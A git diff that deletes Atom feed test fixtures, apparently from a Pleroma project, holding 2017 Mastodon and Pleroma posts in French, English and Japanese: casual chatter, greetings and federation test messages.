http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Facebook s&apos;attaque aux sites internet &quot;trompeurs&quot;</p><p><a href="http://u.afp.com/4W4z" rel="nofollow noopener" target="_blank"><span class="invisible">http://</span><span class="">u.afp.com/4W4z</span><span class="invisible"></span></a></p><p>J&apos;attends de voir que Facebook s&apos;attaque à lui même... rien qu&apos;à lire leurs conditions générales d&apos;utilisation, le respect de la vie privée...</p><p>Charité bien ordonnée... Parfois l&apos;égoïsme aurait du bon.</p> - - public - - - - - tag:mamot.fr,2017-05-10:objectId=1298889:objectType=Status - 2017-05-10T19:43:18Z - 2017-05-10T19:43:18Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://octodon.social/@Balise" class="u-url mention">@<span>Balise</span></a></span></p><p>Fait comme moi, annonce que tu fais dans le flou artistique et que seuls des esprits éclairés pourront en percevoir la beauté et apprécier. Globalement après ça, tout le monde trouve les photos cool :-p</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1298728:objectType=Status - 2017-05-10T19:38:39Z - 2017-05-10T19:38:39Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@applecandy" class="u-url mention">@<span>applecandy</span></a></span></p><p>Lucky you!!!</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1298431:objectType=Status - 2017-05-10T19:26:32Z - 2017-05-10T19:26:32Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Est-ce que je suis le seul qui lorsqu&apos;il commence à compter les arbres sur le bord de la route n&apos;arrive pas à s&apos;arrêter de compter?</p> - - public - - - - - tag:mamot.fr,2017-05-10:objectId=1298224:objectType=Status - 2017-05-10T19:18:17Z - 2017-05-10T19:18:17Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Ca y est j&apos;ai une nouvelle passion. Mettre les bouchons qui trainent par terre dans le bons sens avec mon pied 🙌</p> - - public - - - - - tag:mamot.fr,2017-05-10:objectId=1297450:objectType=Status - 2017-05-10T18:53:37Z - 2017-05-10T18:53:37Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Ok. On est capable d&apos;envoyer des mecs dans l&apos;espace, avoir des voitures autonomes, des trucs intelligents de partout mais pas tous les bâtiments accessibles aux personnes à mobilité réduite, les émissions sur le services publics avec une personne faisant la traduction pour les sourds et malentendants de manière systématique...</p><p>J&apos;ai du louper un truc dans l&apos;ordre des priorités Oo</p> - - public - - - - - tag:mamot.fr,2017-05-10:objectId=1297292:objectType=Status - 2017-05-10T18:48:17Z - 2017-05-10T18:48:17Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>J&apos;ai comme envie de faire un truc mais je ne sais pas quoi mais pourtant c&apos;est comme si je ressentais l&apos;idée dans ma tête mais c&apos;est pas clair...</p><p>Fuck!!! J&apos;vais aller draguer Josiane à la compta ça va me changer les idées!!!</p> - - public - - - - - tag:mamot.fr,2017-05-10:objectId=1296598:objectType=Status - 2017-05-10T18:25:11Z - 2017-05-10T18:25:11Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mamot.fr/@Smeablog" class="u-url mention">@<span>Smeablog</span></a></span></p><p>Pas faux MDR!!!!</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1296571:objectType=Status - 2017-05-10T18:24:13Z - 2017-05-10T18:24:13Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mamot.fr/@Smeablog" class="u-url mention">@<span>Smeablog</span></a></span></p><p>Ca ne change pas la finalité malheureusement, ça ne m&apos;ouvre pas ce à quoi je veux accéder 😭</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1296475:objectType=Status - 2017-05-10T18:20:50Z - 2017-05-10T18:20:50Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Arrrgghhhhhhh!!!!</p><p>Quand t&apos;es sur le point de cliquer sur un lien dans le fil public global et que BOOM ça se met à jour... J&apos;ose même pas imaginer combien j&apos;ai ouvert de pages web sans le vouloir!!!</p> - - public - - - - - tag:mamot.fr,2017-05-10:objectId=1296426:objectType=Status - 2017-05-10T18:19:17Z - 2017-05-10T18:19:17Z - Skruyb shared a status by Isaluini@mastodon.social - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:mastodon.social,2017-05-10:objectId=5587049:objectType=Status - 2017-05-10T18:18:59Z - 2017-05-10T18:19:00Z - New status by Isaluini@mastodon.social - - https://mastodon.social/users/Isaluini - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/Isaluini - Isaluini - Isaluini@mastodon.social - <p>Adicciones: Escribir, diseñar, cine, café, humor negro, música y dibujar. | Jedi. Bueno, no. Algún día (?) | Gratitude.</p> - - - - Isaluini - Isa - Adicciones: Escribir, diseñar, cine, café, humor negro, música y dibujar. | Jedi. Bueno, no. Algún día (?) | Gratitude. - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>♫ <br><a href="https://www.youtube.com/watch?v=pT68FS3YbQ4"><span class="invisible">https://www.</span><span class="ellipsis">youtube.com/watch?v=pT68FS3YbQ</span><span class="invisible">4</span></a></p> - - public - - - <p>♫ <br><a href="https://www.youtube.com/watch?v=pT68FS3YbQ4"><span class="invisible">https://www.</span><span class="ellipsis">youtube.com/watch?v=pT68FS3YbQ</span><span class="invisible">4</span></a></p> - - public - - - - - tag:mamot.fr,2017-05-10:objectId=1295893:objectType=Status - 2017-05-10T18:01:51Z - 2017-05-10T18:01:51Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mamot.fr/@Chat2Gouttieres" class="u-url mention">@<span>Chat2Gouttieres</span></a></span></p><p>Ah bah après faut savoir mettre à profit ce savoir ^^</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1295815:objectType=Status - 2017-05-10T18:00:02Z - 2017-05-10T18:00:02Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mamot.fr/@Chat2Gouttieres" class="u-url mention">@<span>Chat2Gouttieres</span></a></span></p><p>Exactement. On a les jeux mais pas le pain encore.</p><p>Finalement on a rien inventé :-p</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1295778:objectType=Status - 2017-05-10T17:58:52Z - 2017-05-10T17:58:52Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mamot.fr/@Chat2Gouttieres" class="u-url mention">@<span>Chat2Gouttieres</span></a></span></p><p>C&apos;est ça visiblement dans notre société dite moderne... &quot;Créer l&apos;illusion que&quot; Oo.</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1294943:objectType=Status - 2017-05-10T17:31:44Z - 2017-05-10T17:31:44Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - Hey. - <p><span class="h-card"><a href="https://mastodon.social/@lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span></p><p>Hey!!!</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1294914:objectType=Status - 2017-05-10T17:30:40Z - 2017-05-10T17:30:40Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mamot.fr/@EloClemTiti" class="u-url mention">@<span>EloClemTiti</span></a></span></p><p>J&apos;ai souvent cette impression en effet 😂</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1294148:objectType=Status - 2017-05-10T17:02:01Z - 2017-05-10T17:02:01Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Les gars, les boss veulent voir de l&apos;avancement!! Une idée?</p><p>On fait comme d&apos;habitude. On divise nos tâches en 25.000 tâches unitaires, on fout du vert au maximum et on crée l&apos;illusion que ça a bien avancé!</p><p>Deal!!</p><p>Bob, tu choisis quel vert on utilise<br />Alice, t&apos;es en charge de la typo<br />Moi, je m&apos;occupe qu&apos;on prend bien le dernier template ppt fournit par la comm interne.</p><p>Des winners qu&apos;on est!!!! Des WI-NNERS!!!</p> - - public - - - - - tag:mamot.fr,2017-05-10:objectId=1293995:objectType=Status - 2017-05-10T16:57:53Z - 2017-05-10T16:57:53Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@SauceHair" class="u-url mention">@<span>SauceHair</span></a></span></p><p>Cool!!</p><p>Bon courage.</p> - - - public - - - - - diff --git a/test/fixtures/tesla_mock/https___mastodon.social_users_lambadalambda.atom b/test/fixtures/tesla_mock/https___mastodon.social_users_lambadalambda.atom deleted file mode 100644 index 4d732b109..000000000 --- a/test/fixtures/tesla_mock/https___mastodon.social_users_lambadalambda.atom +++ /dev/null @@ -1,464 +0,0 @@ - - - https://mastodon.social/users/lambadalambda.atom - Critical Value - - 2017-04-16T21:47:25Z - https://files.mastodon.social/accounts/avatars/000/000/264/original/1429214160519.gif - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - - - - lambadalambda - Critical Value - public - - - - - - - - tag:mastodon.social,2017-05-04:objectId=4991300:objectType=Status - 2017-05-04T14:10:30Z - 2017-05-04T14:10:30Z - Delete - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/delete - - - - - tag:mastodon.social,2017-05-04:objectId=4980289:objectType=Status - 2017-05-04T07:43:23Z - 2017-05-04T07:43:23Z - Delete - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/delete - - - - - tag:mastodon.social,2017-05-03:objectId=4952899:objectType=Status - 2017-05-03T17:26:43Z - 2017-05-03T17:26:43Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> OK!!</p> - - - public - - - - - - tag:mastodon.social,2017-05-03:objectId=4952810:objectType=Status - 2017-05-03T17:24:34Z - 2017-05-03T17:24:34Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> yeah :)</p> - - - public - - - - - - tag:mastodon.social,2017-05-03:objectId=4950388:objectType=Status - 2017-05-03T16:22:00Z - 2017-05-03T16:22:00Z - lambadalambda shared a status by lambadalambda@social.heldscal.la - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:social.heldscal.la,2017-05-03:noticeId=2030733:objectType=note - 2017-05-03T12:29:20Z - 2017-05-03T12:29:31Z - New status by lambadalambda@social.heldscal.la - - https://social.heldscal.la/user/23211 - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - lambadalambda@social.heldscal.la - Call me Deacon Blues. - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - Time for work. <a href="https://social.heldscal.la/file/953c117a1e7e4c763755d2ac29cf1aae08e025599f4a4cc11ddff4082c07f969.jpg">https://social.heldscal.la/attachment/120552</a> - - - public - - - Time for work. <a href="https://social.heldscal.la/file/953c117a1e7e4c763755d2ac29cf1aae08e025599f4a4cc11ddff4082c07f969.jpg">https://social.heldscal.la/attachment/120552</a> - - public - - - - - tag:mastodon.social,2017-05-03:objectId=4934452:objectType=Status - 2017-05-03T08:21:09Z - 2017-05-03T08:21:09Z - lambadalambda shared a status by lain@pleroma.soykaf.com - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - https://pleroma.soykaf.com/objects/4c1bda26-902e-4525-9fcd-b9fd44925193 - 2017-05-03T08:04:44Z - 2017-05-03T08:05:52Z - New status by lain@pleroma.soykaf.com - - https://pleroma.soykaf.com/users/lain - http://activitystrea.ms/schema/1.0/person - https://pleroma.soykaf.com/users/lain - lain - lain@pleroma.soykaf.com - Test account - - - - lain - Lain Iwakura - Test account - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - Added returning the entries as xml... let's see if the mastodon hammering stops now. - - public - - - Added returning the entries as xml... let's see if the mastodon hammering stops now. - - public - - - - - tag:mastodon.social,2017-05-02:objectId=4905499:objectType=Status - 2017-05-02T19:34:21Z - 2017-05-02T19:34:21Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> yay!</p> - - - public - - - - - - tag:mastodon.social,2017-05-02:objectId=4905442:objectType=Status - 2017-05-02T19:33:33Z - 2017-05-02T19:33:33Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> so?</p> - - - public - - - - - - tag:mastodon.social,2017-05-02:objectId=4901603:objectType=Status - 2017-05-02T18:33:06Z - 2017-05-02T18:33:06Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> hey</p> - - - public - - - - - - tag:mastodon.social,2017-05-01:objectId=4836720:objectType=Status - 2017-05-01T18:52:16Z - 2017-05-01T18:52:16Z - lambadalambda shared a status by lain@pleroma.soykaf.com - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - https://pleroma.soykaf.com/objects/7b41bb51-9aba-436a-82d9-dd3f5aca98c9 - 2017-05-01T18:50:54Z - 2017-05-01T18:50:57Z - New status by lain@pleroma.soykaf.com - - https://pleroma.soykaf.com/users/lain - http://activitystrea.ms/schema/1.0/person - https://pleroma.soykaf.com/users/lain - lain - lain@pleroma.soykaf.com - Test account - - - - lain - Lain Iwakura - Test account - public - - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <a href="https://mastodon.social/users/lambadalambda">@lambadalambda@mastodon.social</a> you're an all-star. - - - public - - - - <a href="https://mastodon.social/users/lambadalambda">@lambadalambda@mastodon.social</a> you're an all-star. - - public - - - - - tag:mastodon.social,2017-05-01:objectId=4836142:objectType=Status - 2017-05-01T18:38:47Z - 2017-05-01T18:38:47Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> Hey now!</p> - - - public - - - - - - tag:mastodon.social,2017-05-01:objectId=4836055:objectType=Status - 2017-05-01T18:37:04Z - 2017-05-01T18:37:04Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> hello</p> - - - public - - - - - - tag:mastodon.social,2017-05-01:objectId=4834850:objectType=Status - 2017-05-01T18:10:43Z - 2017-05-01T18:10:43Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> Hey!</p> - - - public - - - - - tag:mastodon.social,2017-04-29:objectId=4694455:objectType=Status - 2017-04-29T18:39:12Z - 2017-04-29T18:39:12Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>@lain@pleroma.soykaf.com What&apos;s up?</p> - - public - - - - - tag:mastodon.social,2017-04-29:objectId=4694384:objectType=Status - 2017-04-29T18:37:32Z - 2017-04-29T18:37:32Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://social.heldscal.la/lain" class="u-url mention">@<span>lain</span></a></span> Hey.</p> - - - public - - - - - tag:mastodon.social,2017-04-07:objectId=1874242:objectType=Status - 2017-04-07T11:02:56Z - 2017-04-07T11:02:56Z - lambadalambda shared a status by 0xroy@social.wxcafe.net - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:social.wxcafe.net,2017-04-07:objectId=72554:objectType=Status - 2017-04-07T11:01:59Z - 2017-04-07T11:02:00Z - New status by 0xroy@social.wxcafe.net - - https://social.wxcafe.net/users/0xroy - http://activitystrea.ms/schema/1.0/person - https://social.wxcafe.net/users/0xroy - 0xroy - 0xroy@social.wxcafe.net - ta caution weeb | discussions privées : <a href="https://%F0%9F%92%8C.0xroy.me"><span class="invisible">https://</span><span class="">💌.0xroy.me</span><span class="invisible"></span></a> - - - - 0xroy - 「R O Y 🍵 B O S」 - ta caution weeb | discussions privées : https://💌.0xroy.me - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>someone pls eli5 matrix (protocol) and riot</p> - - public - - - <p>someone pls eli5 matrix (protocol) and riot</p> - - public - - - - - tag:mastodon.social,2017-04-06:objectId=1768247:objectType=Status - 2017-04-06T11:10:19Z - 2017-04-06T11:10:19Z - lambadalambda shared a status by areyoutoo@mastodon.xyz - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:mastodon.xyz,2017-04-05:objectId=133327:objectType=Status - 2017-04-05T17:36:41Z - 2017-04-05T18:12:14Z - New status by areyoutoo@mastodon.xyz - - https://mastodon.xyz/users/areyoutoo - http://activitystrea.ms/schema/1.0/person - https://mastodon.xyz/users/areyoutoo - areyoutoo - areyoutoo@mastodon.xyz - devops | retired gamedev | always boost puppy pics - - - - areyoutoo - Raw Butter - devops | retired gamedev | always boost puppy pics - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Some UX thoughts for <a href="https://mastodon.xyz/tags/mastodev">#<span>mastodev</span></a>:</p><p>- Would be nice if I could work on multiple draft toots? Clicking to reply to someone seems to erase any draft I had been working on.</p><p>- Kinda risky to click on the Federated Timeline if it loads new toots and scrolls 10ms before I click on something.</p><p>I probably don't know enough web frontend to help, but it might be fun to try.</p> - - - public - - - <p>Some UX thoughts for <a href="https://mastodon.xyz/tags/mastodev">#<span>mastodev</span></a>:</p><p>- Would be nice if I could work on multiple draft toots? Clicking to reply to someone seems to erase any draft I had been working on.</p><p>- Kinda risky to click on the Federated Timeline if it loads new toots and scrolls 10ms before I click on something.</p><p>I probably don't know enough web frontend to help, but it might be fun to try.</p> - - public - - - - - tag:mastodon.social,2017-04-06:objectId=1764509:objectType=Status - 2017-04-06T10:15:38Z - 2017-04-06T10:15:38Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - This is a test for cw federation - <p>This is a test for cw federation body text.</p> - - public - - - - - tag:mastodon.social,2017-04-05:objectId=1645208:objectType=Status - 2017-04-05T07:14:53Z - 2017-04-05T07:14:53Z - lambadalambda shared a status by lambadalambda@social.heldscal.la - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:social.heldscal.la,2017-04-05:noticeId=1502088:objectType=note - 2017-04-05T06:12:09Z - 2017-04-05T07:12:47Z - New status by lambadalambda@social.heldscal.la - - https://social.heldscal.la/user/23211 - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - lambadalambda@social.heldscal.la - Call me Deacon Blues. - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - Federation 101: <a href="https://www.youtube.com/watch?v=t1lYU5CA40o">https://www.youtube.com/watch?v=t1lYU5CA40o</a> - - public - - - Federation 101: <a href="https://www.youtube.com/watch?v=t1lYU5CA40o">https://www.youtube.com/watch?v=t1lYU5CA40o</a> - - public - - - - - tag:mastodon.social,2017-04-05:objectId=1641750:objectType=Status - 2017-04-05T05:44:48Z - 2017-04-05T05:44:48Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> just a test.</p> - - - public - - - - diff --git a/test/fixtures/tesla_mock/https___pawoo.net_users_pekorino.atom b/test/fixtures/tesla_mock/https___pawoo.net_users_pekorino.atom deleted file mode 100644 index 17d1956e8..000000000 --- a/test/fixtures/tesla_mock/https___pawoo.net_users_pekorino.atom +++ /dev/null @@ -1,231 +0,0 @@ - - - https://pawoo.net/users/pekorino.atom - モノエ - シアトル・米国 - -GNUsocial 英語版 -http://shitposter.club/mono - - - 2017-05-07T09:28:20Z - https://img.pawoo.net/accounts/avatars/000/128/378/original/e1fce04a36a1ad90.jpg - - https://pawoo.net/users/pekorino - http://activitystrea.ms/schema/1.0/person - https://pawoo.net/users/pekorino - pekorino - pekorino@pawoo.net - <p>シアトル・米国</p><p>GNUsocial 英語版<br /><a href="http://shitposter.club/mono" rel="nofollow noopener" target="_blank"><span class="invisible">http://</span><span class="">shitposter.club/mono</span><span class="invisible"></span></a> </p> - - - - pekorino - モノエ - シアトル・米国 - -GNUsocial 英語版 -http://shitposter.club/mono - - - public - - - - - - - tag:pawoo.net,2017-05-07:objectId=9319211:objectType=Status - 2017-05-07T09:56:35Z - 2017-05-07T09:56:35Z - New status by pekorino - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://shitposter.club/moonman" class="u-url mention">@<span>moonman</span></a></span> <span class="h-card"><a href="https://shitposter.club/rw" class="u-url mention">@<span>rw</span></a></span> <span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> <span class="h-card"><a href="https://shitposter.club/mono" class="u-url mention">@<span>mono</span></a></span> </p><p>i have to wait for someone to respond to this before i can follow because i dont think this software has a direct follow by url option</p> - - - - - - public - - - - - - tag:pawoo.net,2017-05-07:objectId=9318595:objectType=Status - 2017-05-07T09:54:39Z - 2017-05-07T09:54:39Z - New status by pekorino - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://shitposter.club/mono" class="u-url mention">@<span>mono</span></a></span> <span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> <span class="h-card"><a href="https://shitposter.club/rw" class="u-url mention">@<span>rw</span></a></span> <span class="h-card"><a href="https://shitposter.club/moonman" class="u-url mention">@<span>moonman</span></a></span> <br />please respond</p> - - - - - - public - - - - - - tag:pawoo.net,2017-05-07:objectId=9313978:objectType=Status - 2017-05-07T09:39:17Z - 2017-05-07T09:39:17Z - New status by pekorino - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://shitposter.club/moonman" class="u-url mention">@<span>moonman</span></a></span> <br />mastodon is so slow. browser crashed twice trying to set avatar</p> - - - public - - - - - tag:pawoo.net,2017-05-07:objectId=9312691:objectType=Status - 2017-05-07T09:34:38Z - 2017-05-07T09:34:38Z - New status by pekorino - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://shitposter.club/hardbass2k8" class="u-url mention">@<span>hardbass2k8</span></a></span> <a href="https://pawoo.net/media/mZJjLpbPU72GFEz2Svk" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="ellipsis">pawoo.net/media/mZJjLpbPU72GFE</span><span class="invisible">z2Svk</span></a></p> - - - - public - - - - - - tag:pawoo.net,2017-05-07:objectId=9312379:objectType=Status - 2017-05-07T09:33:29Z - 2017-05-07T09:33:29Z - New status by pekorino - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://shitposter.club/hardbass2k8" class="u-url mention">@<span>hardbass2k8</span></a></span> <a href="https://pawoo.net/media/nt5JHBEHyTN2bqzdcGU" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="ellipsis">pawoo.net/media/nt5JHBEHyTN2bq</span><span class="invisible">zdcGU</span></a></p> - - - - public - - - - - - tag:pawoo.net,2017-05-07:objectId=9311765:objectType=Status - 2017-05-07T09:31:26Z - 2017-05-07T09:31:26Z - New status by pekorino - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><a href="https://pawoo.net/media/C4RV6ubsEtvS04DX6qs" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="ellipsis">pawoo.net/media/C4RV6ubsEtvS04</span><span class="invisible">DX6qs</span></a></p> - - - public - - - - - tag:pawoo.net,2017-05-07:objectId=9311610:objectType=Status - 2017-05-07T09:30:59Z - 2017-05-07T09:30:59Z - New status by pekorino - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><a href="https://pawoo.net/media/MBmkeEdrjs8pAtCHN6s" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="ellipsis">pawoo.net/media/MBmkeEdrjs8pAt</span><span class="invisible">CHN6s</span></a></p> - - - public - - - - - tag:pawoo.net,2017-05-07:objectId=9307782:objectType=Status - 2017-05-07T09:16:47Z - 2017-05-07T09:16:47Z - New status by pekorino - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://shitposter.club/mono" class="u-url mention">@<span>mono</span></a></span></p><p>test</p> - - - public - - - - - tag:pawoo.net,2017-05-07:objectId=9307444:objectType=Status - 2017-05-07T09:15:42Z - 2017-05-07T09:15:42Z - New status by pekorino - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://shitposter.club/hardbass2k8" class="u-url mention">@<span>hardbass2k8</span></a></span> テスト</p> - - - public - - - - - - tag:pawoo.net,2017-05-07:objectId=9307239:objectType=Status - 2017-05-07T09:14:58Z - 2017-05-07T09:14:58Z - New status by pekorino - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>ててててててテスト</p> - - public - - - - - tag:pawoo.net,2017-04-20:objectId=2212164:objectType=Status - 2017-04-20T06:19:18Z - 2017-04-20T06:19:18Z - New status by pekorino - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://shitposter.club/mono" class="u-url mention">@<span>mono</span></a></span> <a href="https://pawoo.net/media/iMbjMBVPfZJX3lUC2Sc" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="ellipsis">pawoo.net/media/iMbjMBVPfZJX3l</span><span class="invisible">UC2Sc</span></a></p> - - - - public - - - - - - tag:pawoo.net,2017-04-20:objectId=2206216:objectType=Status - 2017-04-20T05:57:59Z - 2017-04-20T05:57:59Z - New status by pekorino - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>テスト</p> - - public - - - - - tag:pawoo.net,2017-04-20:objectId=2204702:objectType=Status - 2017-04-20T05:52:09Z - 2017-04-20T05:52:09Z - New status by pekorino - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>HELLOWORLD</p> - - public - - - - diff --git a/test/fixtures/tesla_mock/https___pleroma.soykaf.com_users_lain_feed.atom.xml b/test/fixtures/tesla_mock/https___pleroma.soykaf.com_users_lain_feed.atom.xml deleted file mode 100644 index a2a2629a6..000000000 --- a/test/fixtures/tesla_mock/https___pleroma.soykaf.com_users_lain_feed.atom.xml +++ /dev/null @@ -1 +0,0 @@ -https://pleroma.soykaf.com/users/lain/feed.atomlain's timeline2017-05-05T08:38:03.385598https://pleroma.soykaf.com/users/lainhttp://activitystrea.ms/schema/1.0/personhttps://pleroma.soykaf.com/users/lainlainLain IwakuraTest accountlainhttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/sharehttps://pleroma.soykaf.com/activities/579e4224-b2ab-4ffa-8bbe-f7197a0a38d1lain repeated a noticeRT In just seven days, I can make you a man!<br> -- The Rocky Horror Picture Show2017-05-05T08:38:03.3855902017-05-05T08:38:03.385598https://pleroma.soykaf.com/contexts/e8673466-9642-4c9e-8781-f0f69d6b15aehttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/53dd40f4-3069-45a1-863b-94a9b317093dNew note by fortuneIn just seven days, I can make you a man!<br> -- The Rocky Horror Picture Show2017-05-05T02:10:02.9308022017-05-05T08:38:03.423539https://pleroma.soykaf.com/contexts/e8673466-9642-4c9e-8781-f0f69d6b15aehttps://pleroma.soykaf.com/users/fortunehttp://activitystrea.ms/schema/1.0/personhttps://pleroma.soykaf.com/users/fortunefortunefortuneThe trusty unix fortune 